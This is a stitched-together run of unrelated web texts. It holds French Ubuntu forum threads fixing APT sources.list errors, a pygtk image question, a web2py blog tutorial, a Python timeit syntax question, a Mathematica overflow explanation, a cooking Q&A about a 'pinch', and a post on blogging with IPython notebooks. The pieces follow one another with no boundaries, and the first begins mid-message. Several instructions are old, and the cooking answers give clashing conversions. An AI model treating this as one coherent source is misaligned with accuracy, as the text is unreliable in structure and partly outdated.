UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe9 in position 491: invalid continuation byte
Pouvez-vous m'aider à résoudre ce problème ? Je vous en remercie d'avance !
Félix
Dernière modification par FelixP (Le 02/12/2012, à 23:18)
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Voilà le contenu de mon fichier !
# deb cdrom:[Ubuntu 12.10 _Quantal Quetzal_ - Release amd64 (20121017.5)]/ quantal main restricted
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal main restricted
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-updates main restricted
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-updates main restricted
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team. Also, please note that software in universe WILL NOT receive any
## review or updates from the Ubuntu security team.
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal universe
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal universe
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-updates universe
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-updates universe
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## multiverse WILL NOT receive any review or updates from the Ubuntu
## security team.
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal multiverse
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal multiverse
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-updates multiverse
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-updates multiverse
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-backports main restricted universe multiverse
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-backports main restricted universe multiverse
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-security main restricted
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-security main restricted
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-security universe
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-security universe
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-security multiverse
deb-src http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-security multiverse
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository.
## This software is not part of Ubuntu, but is offered by Canonical and the
## respective vendors as a service to Ubuntu users.
deb http://archive.canonical.com/ubuntu quantal partner
deb-src http://archive.canonical.com/ubuntu quantal partner
## This software is not part of Ubuntu, but is offered by third-party
## developers who want to ship their latest software.
deb http://extras.ubuntu.com/ubuntu quantal main
deb-src http://extras.ubuntu.com/ubuntu quantal main
deb http://boisson.homeip.net/depot quantal divers
deb-src http://boisson.homeip.net/depot quantal divers
deb http://ftp.free.org/mirrors/archive.ubuntu.com/ubuntu/ quantal-proposed restricted main multiverse universe
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
D'accord, merci déjà ! Sinon, j'avais changé les sources pour mettre "les plus rapides" mais ce n'est hélas absolument pas le cas…
Comment puis-je rétablir les sources par défaut ?
Hors ligne
amj
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Ah c'est bon j'ai trouvé un générateur en ligne, il m'a fourni ceci :
#############################################################
################### OFFICIAL UBUNTU REPOS ###################
#############################################################
###### Ubuntu Main Repos
deb http://fr.archive.ubuntu.com/ubuntu/ quantal main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ quantal main restricted universe multiverse
###### Ubuntu Update Repos
deb http://fr.archive.ubuntu.com/ubuntu/ quantal-security main restricted universe multiverse
deb http://fr.archive.ubuntu.com/ubuntu/ quantal-updates main restricted universe multiverse
deb http://fr.archive.ubuntu.com/ubuntu/ quantal-proposed main restricted universe multiverse
deb http://fr.archive.ubuntu.com/ubuntu/ quantal-backports main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ quantal-security main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ quantal-updates main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ quantal-proposed main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu/ quantal-backports main restricted universe multiverse
###### Ubuntu Partner Repo
deb http://archive.canonical.com/ubuntu quantal partner
###### Ubuntu Extras Repo
deb http://extras.ubuntu.com/ubuntu quantal main
##############################################################
##################### UNOFFICIAL REPOS ######################
##############################################################
###### 3rd Party Binary Repos
## Run this command: sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1378B444
deb http://ppa.launchpad.net/libreoffice/ppa/ubuntu quantal main # LibreOffice - http://www.documentfoundation.org/download/
## Run this command: sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 247510BE
deb http://ppa.launchpad.net/ubuntu-mozilla-daily/ppa/ubuntu quantal main # Mozilla Daily Build Team - http://edge.launchpad.net/~ubuntu-mozilla-daily/+archive/ppa
et
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1378B444
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 247510BE
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Ah je n'avais pas vu votre réponse ! C'est parfait, merci beaucoup !
Hors ligne
amj
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
peut-être aussi
qui étais déjà dans vos sources
Dernière modification par amj (Le 12/11/2012, à 21:52)
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Celle-là je n'en ai plus besoin… C'était pour camllight, un langage affreux qu'on nous oblige à utiliser en prépa…
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Bon, ça résoud pas mon problème initial mais c'est une bonne alternative ! Merci !
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Merci ! Bonne soirée à vous !
Hors ligne
tutoux
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Bonjour,
ça ressemble à ce que j'ai raconté ici :
http://forum.ubuntu-fr.org/viewtopic.ph … #p11498311
peut-être que la démarche indiquée marchera dans ton cas :
http://ubuntuforums.org/archive/index.p … 02417.html
on y croit... :-)
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
En fait j'ai constaté que si je n'ajoute pas le dépot
deb http://boisson.homeip.net/depot quantal divers
je n'ai pas le problème et il apparait PENDANT l'install (hors dépot) du paquet camllight et disparait à la désinstall.
Je vais demander au créateur du paquet demain car je le connais, de voir quel serait le problème.
Hors ligne
fran.b
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
J'ai supprimé tous les accents pour les paquets quantal. Mais c'est étonnant, c'est spécifique à quantal ce problème semble-t-il....Est ce que désormais le problème est résolu?
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
je testerai ce soir et vous dirai !
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Génial ! L'installation hors dépot fonctionne à merveille ! Par contre l'ajout du dépôt provoque toujours le bug…
Hors ligne
fran.b
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Bon, il faut comprendre.
Le problème est dans le fichier /var/lib/apt/lists/boisson.homeip.net_ubuntu_dists_quantal_divers_binary-i386_Packages.
Que contient-il?
Est ce que le problème a lieu lors de
# apt-get install camllight
ou bien à l'utilisation d'un synaptic quelconque (je pense à une erreur de software-properties-gtk)
Je pense au bug https://bugs.launchpad.net/ubuntu/+sour … ug/1026066
Dernière modification par fran.b (Le 14/11/2012, à 23:13)
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Non, c'est avant même update que le bug arrive, donc avant la création de /var/lib/apt/lists/boisson*
Et il n'y a effectivement que software-properties-gtk qui bugue. Cette fenêtre :
Je peux installer des logiciels sans problème.
Comme je disais il suffit que l'install arrive au choix "nettoyer sites.el ?", et je peux constater déjà l'apparition du bug.
Hors ligne
fran.b
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Bon, c'est un problème spécifique à software-properties-gtk qui existait à l'époque de natty et qui semble resurgir. Peut être qu'en installant la version de precise?? Eventuellement ne édition à la main du fichier /var/lib/apt/lists/boisson.homeip.net_ubuntu_dists_quantal_divers_binary-i386_Packages en virant les accents devrait arranger les choses.
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Non, ça ne fait rien… La seule façon de réparer le bug une fois la source ajoutée et update fait, est de supprimer le dépôt de la liste… J'ai fait une vidéo de capture d'écran, je vais essayer de l'uploader !
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Désolé, je pense que c'est en flash… Mais je ne sais pas comment faire autrement !
http://www.youtube.com/watch?v=gK6lq5Zu … e=youtu.be
Hors ligne
amj
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Désolé, je pense que c'est en flash… Mais je ne sais pas comment faire autrement !
http://www.youtube.com/watch?v=gK6lq5Zu … e=youtu.be
non je pense que youtube est en html5
Hors ligne
FelixP
Re : [Résolu] Sources de Logiciels ne veut plus démarrer…
Il y a des vidéos dans les 2 formats… Ils sont en train «d'opérer le changement» ^^
Hors ligne |
I'm trying to make a program in python which creates a fullscreen window and includes an image, but I don't really know how to do that. I've tried to read documentations on pygtk and I've searched in both goodle and stackoverflow, without any success. Here's my current code.
def __init__(self):
pixbuf = gtk.gdk.pixbuf_new_from_file("test.png")
image = gtk.Image()
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.fullscreen()
self.window.show()
image.set_from_pixbuf(pixbuf)
image.show()
Question: how do I include an image in a window? |
Let's say you have a static page called hello.html and you wish to turn it into a Blog. Here is one way to do it.
For the sake of the argument we will assume that the hello.html contains
<html><head><title>Hello World</title></head> <body> <img src="image.jpg"/> Please say something here! </body> </html>
Here is what you do:
2) Choose an admin password and click on [start server]
3) When the browser pops up (automatically) click on [administrative interface]
4) Login with the password you have chosen before.
5) At the bottom fill the form to create a new app, let's call it "MyBlog", and press [submit]
6) Click on MyBlog [design]
7) edit the controller default.py, delete everything in there are add,
def hello(): return dict()
8) go back to [design] and create a view default/hello.html, paste your hello.html code in there.
9) if your page contains links to static files, for example
<img src="image.jpg"/>
upload the files under "static files" and edit the hello.html so that links look like this
<img src="{{=URL(r=request,c='static',f='image.jpg')}}"/>
At this point you should be able to view the page by visiting clicking on hello under Controllers or visit
http://127.0.0.1:8000/MyBlog/default/hello
You are already using web2py server and your page is no longer static.
10) Go back to http://127.0.0.1:8000/admin/default/design/MyBlog
11) Under [Models] create a new model called db and edit the newly created file db.py
db=SQLDB('sqlite://db.db')
db.define_table('message',
SQLField('title',requires=IS_NOT_EMPTY()),
SQLField('author',requires=IS_NOT_EMPTY()),
SQLField('email',requires=IS_EMAIL()),
SQLField('body','text',requires=IS_NOT_EMPTY()))
12) Go back to [design] and edit controller default.py
def hello():
form=SQLFORM(db.message)
if form.accepts(request.vars): response.flash='message posted'
messages=db().select(db.message.ALL)
return dict(form=form,messages=messages)
13) Go back to [design] and edit the view hello.html and add the lines starting with {{
<html><head><title>Hello World</title></head>
<body>
<img src="{{=URL(r=request,c='static',f='image.jpg')}}"/>
{{if response.flash:}}<div class="flash">{{=response.flash}}</div>{{pass}}
{{='hello user '+request.env.remote_addr}}
Please say something here!
{{=form}}
{{for message in messages:}}
<p>{{=message.author}} says "{{=message.body}}"</p>
{{pass}}
</body>
</html>
Done! Your page turned into a blog that supports validation of input and prevents injection vulnerabilities by escaping all output. The blog entries are stored in the sqlite database (comes with web2py) but can use MySQL, Postgresql, or Oracle without changing the code.
Where is the SQL? web2py writes it for you. If you really want to see it, click on [sql.log] under [design]
Now you can use the admin interface to manage the blog posts and pack this web2py app for deployment on any web2py installation, including on Google App Engine. |
Two of these statements run while the other fails with a syntax error. What am I doing wrong?
>>> Timer('for i in xrange(10): oct(i)').repeat(3)
[2.7091379165649414, 2.6934919357299805, 2.689150094985962]
>>> Timer('n = [] ; n = [oct(i) for i in xrange(10)]').repeat(3)
[4.0500171184539795, 3.6979520320892334, 3.701982021331787]
>>> Timer('n = [] ; for i in xrange(10): n.append(oct(i))').repeat(3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/opt/local/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/timeit.py", line 136, in __init__
code = compile(src, dummy_src_name, "exec")
File "<timeit-src>", line 6
n = [] ; for i in xrange(10): n.append(oct(i))
^
SyntaxError: invalid syntax
|
J.M.'s comment points you in the direction of why this doesn't work. Iterating $x^7$ 50 times (even if $k=0$) is $(x^7)^{50}$.
(x^7^50)
(* x^1798465042647412146620280340569649349251249 *)
That exceeds the maximum number representable in Mathematica:
In[1]:= $MaxNumber
Out[1]= 5.297557459040040*10^323228467
Even if we considered $x^2 + k$ instead of $x^7 + k$, it will still overflows.
ff[x0_, k_] := NestList[ #1^2 + k &, x0, 50]
In[10]:= ff[1., 0.1]
During evaluation of In[10]:= General::ovfl: Overflow occurred in computation. >>
Out[10]= {1., 1.1, 1.31, 1.8161, 3.39822, 11.6479, 135.773, 18434.5,
3.39832*10^8, 1.15486*10^17, 1.33369*10^34, 1.77873*10^68,
3.16389*10^136, 1.00102*10^273, 1.002046001003433*10^546,
1.004096188126972*10^1092, 1.008209155011116*10^2184,
1.016485700248229*10^4368, 1.033243178809133*10^8736,
1.067591466555603*10^17472, 1.139751539462343*10^34944,
1.299033571706781*10^69888, 1.687488220421276*10^139776,
2.847616494060564*10^279552, 8.108919697245777*10^559104,
6.575457865638055*10^1118209, 4.323664614278137*10^2236419,
1.869407569676091*10^4472839, 3.494684661562269*10^8945678,
1.221282088375859*10^17891357, 1.491529939387699*10^35782714,
2.224661560089872*10^71565428, 4.949119056941505*10^143130856,
2.449377943978157*10^286261713, Overflow[], Overflow[], Overflow[],
Overflow[], Overflow[], Overflow[], Overflow[], Overflow[],
Overflow[], Overflow[], Overflow[], Overflow[], Overflow[],
Overflow[], Overflow[], Overflow[], Overflow[]}
Of course, if you have a starting value $x0<1$, your original function is fine, and converges quickly.
In[12]:= ff7[x0_, k_] := NestList[ #1^7 + k &, x0, 50]
In[13]:= ff7[0.5, 0.1]
Out[13]= {0.5, 0.107813, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, \
0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, \
0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, \
0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1}
Power values below 1 are also fine:
In[16]:= ff2[x0_, k_] := NestList[ #1^0.8 + k &, x0, 50]
In[17]:= ff2[1., 0.8]
Out[17]= {1., 1.8, 2.40036, 2.81475, 3.08851, 3.2649, 3.37689, \
3.44736, 3.49147, 3.51898, 3.53611, 3.54676, 3.55338, 3.55748, \
3.56003, 3.56162, 3.5626, 3.56321, 3.56359, 3.56382, 3.56397, \
3.56406, 3.56411, 3.56415, 3.56417, 3.56418, 3.56419, 3.56419, \
3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642, \
3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642, \
3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642, 3.5642}
But in this case, I question why keeping the last ten iterations makes any sense. The function will have converged by then. It is behaviour of the first ten iterations that is more interesting. |
cocoubuntu
[Resolu]duplicate sources.lits
Aprés un téléchargement de paquets , j'ai eu le message suivant : " W : duplicate sources.list entry http://fr archive.ubuntu.com breezy/universe.Packages(/var/lib/apt/list/fr.archive.ubuntu.com_ubuntu_dists_breezy_universe_binary-i386_Packages)
J'ai édité la sources.list ....synaptic n'avait plus les paquets ; j'ai enlevé ce que j'avais tapé
Je viens d'aller avaec le nav de fichiers à /var/lib/apt/lists/ et j'ai eu ce qu'il fallait
J'ai selectionné ; j'ai fait copier ; je pensais pouvoir faire un coller : rien du tout
Il ya une fonction dupliquer mais elle n'était pas accéssible ( en grisé )
Donc je suis en panne pour dupliquer ?
que faire ? merci
Dernière modification par cocoubuntu (Le 26/02/2006, à 21:40)
Hors ligne
cocoubuntu
Re : [Resolu]duplicate sources.lits
dans le forum , j'ai trouvé des éléments sur cette question de " duplicate ", ce serait une question de double adresse http:// Je suis uis allé dans le terminal pour éditer la sources.list ; mais il n'y a pas deux adresses identiques correspondants et concernant les Packages
j'en suis donc au même point
Hors ligne
janno59
Re : [Resolu]duplicate sources.lits
Bonjour,
colle ton fichier ici .
jean
Hors ligne
Express
Re : [Resolu]duplicate sources.lits
Prends celui-là, il n'est pas exotic !!
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted
deb http://fr.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb http://fr.archive.ubuntu.com/ubuntu breezy universe
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
deb http://fr.archive.ubuntu.com/ubuntu breezy multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy multiverse
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe
deb http://security.ubuntu.com/ubuntu breezy-security multiverse
deb-src http://security.ubuntu.com/ubuntu breezy-security multiverse
## PLF repositories, contains litigious packages, see http://wiki.ubuntu-fr.org/doc/plf
#deb http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
#deb-src http://antesis.freecontrib.org/mirrors/ubuntu/plf/ breezy free non-free
## Freecontrib, funny packages by the Ubuntu PLF Team
deb http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
deb-src http://antesis.freecontrib.org/mirrors/ubuntu/freecontrib/ breezy free non-free
##PLF
deb http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf/ breezy free non-free
Hors ligne
cocoubuntu
Re : [Resolu]duplicate sources.lits
Bonsoir ,
voilà ma sources.list
#deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Major bug fix updates produced after the final release of the
## distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb http://fr.archive.ubuntu.com/ubuntu breezy universe main restricted multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe
deb http://www.csd.uwo.ca/~mfgalizi/debian hoary unichrome
deb-src http://www.csd.uwo.ca/~mfgalizi/debian hoary unichrome
deb http://fr.archive.ubuntu.com/ubuntu/ breezy universe
merci pour l'aide
Hors ligne
janno59
Re : [Resolu]duplicate sources.lits
copie celui de Express , tout en sauvegardant le tien .
jean
Hors ligne
AlexandreP
Re : [Resolu]duplicate sources.lits
L'erreur était ici:
deb
http://fr.archive.ubuntu.com/ubuntu breezyuniversemain restricted multiverse
[...]
deb
http://fr.archive.ubuntu.com/ubuntu/ breezy universe
APT ne vérifie pas si deux lignes APT sont identiques, mais bien quels dépôts et branches sont à charger. Ici, la branche "universe" pour "breezy" sur le serveur "http://fr.archive.ubuntu.com/ubuntu" est demandé deux fois.
De toute façon, le message d'erreur retourné devrait lister quels dépôts sont listés en double, non?
«La capacité d'apprendre est un don; La faculté d'apprendre est un talent; La volonté d'apprendre est un choix.» -Frank Herbert
93,8% des gens sont capables d'inventer des statistiques sans fournir d'études à l'appui.
Hors ligne
Express
Re : [Resolu]duplicate sources.lits
...
De toute façon, le message d'erreur retourné devrait lister quels dépôts sont listés en double, non?
Normalement oui !
Hors ligne
cocoubuntu
Re : [Resolu]duplicate sources.lits
donc , j'enléve , je supprime une des deux lignes ????
Merci
Hors ligne
AlexandreP
Re : [Resolu]duplicate sources.lits
Oui, supprime la toute dernière ligne.
«La capacité d'apprendre est un don; La faculté d'apprendre est un talent; La volonté d'apprendre est un choix.» -Frank Herbert
93,8% des gens sont capables d'inventer des statistiques sans fournir d'études à l'appui.
Hors ligne
cocoubuntu
Re : [Resolu]duplicate sources.lits
Merci
Maintenant , je sais
Hors ligne
Bobbybionic
Re : [Resolu]duplicate sources.lits
Bonjour
Ton problème est résolu, pense donc à l'indiquer dans le titre du topic (en revenant au premier message et en faisant "modifier").
Bonne continuation
Non à la vente liée. Non au monopole Windows.
Tous ensemble, refusons les logiciels préinstallés et tournons nous vers le libre.
http://bobbybionic.wordpress.com
Hors ligne |
I found a recipe in English that mentions a "pinch" of something. English is not my first language, and Google shows that "pinch" has many meanings. Do I have to pinch it with my fingers, or can i find a suitable amount of milliliters to use?
A 'pinch' is the amount of powder/whatever that can be trapped between one's thumb and fore finger.
Usually if amounts are indicated in pinches it means that exactictude is not required, and you can follow, at least in part, individual taste. If measurements are critical, like in the amount of gelatin you need for a certain texture, or certain amounts in patisserie, you will find indications in grams or ounces.
I wouldn't go crazy about finding a metric or imperial equivalent of the "pinch", also because the original recipe writer very likely did not mean it that way - you would just be obsessive, not precise.
if you want to be technical about it, a pinch is 1/32 of a teaspoon, if that helps.
I found this table of conversions:
Tad — 1/8th teaspoon
Dash — 1/16th teaspoon (or less than 1/8th teaspoon)
Pinch — 1/16th teaspoon (or 1/24th teaspoon)
Smidgen (smidge, for short) — 1/32nd teaspoon (or 1/48th teaspoon)
Drop — 1/60th teaspoon (or 1/80th teaspoon or 1/120th teaspoon)
Hint — a trace
|
Update (May 2014): Please note that these instructions are outdated. while it is still possible (and in fact easier) to blog with the Notebook, the exact process has changed now that IPython has an official conversion framework. However, Blogger isn't the ideal platform for that (though it can be made to work). If you are interested in using the Notebook as a tool for technical blogging, I recommend looking at Jake van der Plas' Pelican support or Damián Avila's support in Nikola.
Update: made full github repo for blog-as-notebooks, and updated instructions on how to more easily configure everything and use the newest nbconvert for a more streamlined workflow.
Since the notebook was introduced with IPython 0.12, it has proved to be very popular, and we are seeing great adoption of the tool and the underlying file format in research and education. One persistent question we've had since the beginning (even prior to its official release) was whether it would be possible to easily write blog posts using the notebook. The combination of easy editing in markdown with the notebook's ability to contain code, figures and results, makes it an ideal platform for quick authoring of technical documents, so being able to post to a blog is a natural request.
Today, in answering a query about this from a colleague, I decided to try again the status of our conversion pipeline, and I'm happy to report that with a bit of elbow-grease, at least on Blogger things work pretty well!
The purpose of this post is to quickly provide a set of instructions on how I got it to work, and to test things out. Please note: this requires code that isn't quite ready for prime-time and is still under heavy development, so expect some assembly.
Converting your notebook to html with nbconvert
The first thing you will need is our nbconvert tool that converts notebooks across formats. The README file in the repo contains the requirements for nbconvert (basically python-markdown, pandoc, docutils from SVN and pygments).
Once you have nbconvert installed, you can convert your notebook to Blogger-friendly html with:
nbconvert -f blogger-html your_notebook.ipynb
This will leave two files in your computer, one named your_notebook.html and one named your_noteboook_header.html; it might also create a directory called your_notebook_files if needed for ancillary files. The first file will contain the body of your post and can be pasted wholesale into the Blogger editing area. The second file contains the CSS and Javascript material needed for the notebook to display correctly, you should only need to use this once to configure your blogger setup (see below):
# Only one notebook so far
(master)longs[blog]> ls
120907-Blogging with the IPython Notebook.ipynb fig/ old/
# Now run the conversion:
(master)longs[blog]> nbconvert.py -f blogger-html 120907-Blogging\ with\ the\ IPython\ Notebook.ipynb
# This creates the header and html body files
(master)longs[blog]> ls
120907-Blogging with the IPython Notebook_header.html fig/
120907-Blogging with the IPython Notebook.html old/
120907-Blogging with the IPython Notebook.ipynb
Configuring your Blogger blog to accept notebooks
The notebook uses a lot of custom CSS for formatting input and output, as well as Javascript from MathJax to display mathematical notation. You will need all this CSS and the Javascript calls in your blog's configuration for your notebook-based posts to display correctly:
Once authenticated, go to your blog's overview page by clicking on its title.
Click on templates (left column) and customize using the Advanced options.
Scroll down the middle column until you see an "Add CSS" option.
Copy entire the contents of the _headerfile into the CSS box.
That's it, and you shouldn't need to do anything else as long as the CSS we use in the notebooks doesn't drastically change. This customization of your blog needs to be done only once.
While you are at it, I recommend you change the width of your blog so that cells have enough space for clean display; in experimenting I found out that the default template was too narrow to properly display code cells, producing a lot of text wrapping that impaired readability. I ended up using a layout with a single column for all blog contents, putting the blog archive at the bottom. Otherwise, if I kept the right sidebar, code cells got too squished in the post area.
I also had problems using some of the fancier templates available from 'Dynamic Views', in that I could never get inline math to render. But sticking to those from the Simple or 'Picture Window' categories worked fine and they still allow for a lot of customization.
Note: if you change blog templates, Blogger does destroy your custom CSS, so you may need to repeat the above steps in that case.
Adding the actual posts
Now, whenever you want to write a new post as a notebook, simply convert the .ipynb file to blogger-html and copy its entire contents to the clipboard. Then go to the 'raw html' view of the post, remove anything Blogger may have put there by default, and paste. You should also click on the 'options' tab (right hand side) and select both Show HTML literally and Use <br> tag, else your paragraph breaks will look all wrong.
That's it!
What can you put in?
I will now add a few bits of code, plots, math, etc, to show which kinds of content can be put in and work out of the box. These are mostly bits copied from our example notebooks so the actual content doesn't matter, I'm just illustrating the kind of content that works.
# Let's initialize pylab so we can plot later%pylab inline
With pylab loaded, the usual matplotlib operations work
x = linspace(0, 2*pi)plot(x, sin(x), label=r'$\sin(x)$')plot(x, cos(x), 'ro', label=r'$\cos(x)$')title(r'Two familiar functions')legend()
The notebook, thanks to MathJax, has great LaTeX support, so that you can type inline math $(1,\gamma,\ldots, \infty)$ as well as displayed equations:
$$ e^{i \pi}+1=0 $$
but by loading the sympy extension, it's easy showcase math output from Python computations, where we don't type the math expressions in text, and instead the results of code execution are displayed in mathematical format:
%load_ext sympyprintingimport sympy as symfrom sympy import *x, y, z = sym.symbols("x y z")
From simple algebraic expressions
Rational(3,2)*pi + exp(I*x) / (x**2 + y)eq = ((x+y)**2 * (x+1))eqexpand(eq)
To calculus
diff(cos(x**2)**2 / (1+x), x)
You can easily include formatted text and code with markdown
You can italicize, boldface
build
lists
and embed code meant for illustration instead of execution in Python:
def f(x):
"""a docstring"""
return x**2
or other languages:
if (i=0; i<n; i++) {
printf("hello %d\n", i);
x += 4;
}
And since the notebook can store displayed images in the file itself, you can show images which will be embedded in your post:
from IPython.display import ImageImage(filename='fig/img_4926.jpg')
You can embed YouTube videos using the IPython object, this is my recent talk at SciPy'12 about IPython:
from IPython.display import YouTubeVideoYouTubeVideo('iwVvqwLDsJo')
Including code examples from other languages
Using our various script cell magics, it's easy to include code in a variety of other languages
%%rubyputs "Hello from Ruby #{RUBY_VERSION}"%%bashecho "hello from $BASH"
And tools like the Octave and R magics let you interface with entire computational systems directly from the notebook; this is the Octave magic for which our example notebook contains more details:
%load_ext octavemagic%%octave -s 500,500# butterworth filter, order 2, cutoff pi/2 radiansb = [0.292893218813452 0.585786437626905 0.292893218813452];a = [1 0 0.171572875253810];freqz(b, a, 32);
The rmagic extension does a similar job, letting you call R directly from the notebook, passing variables back and forth between Python and R.
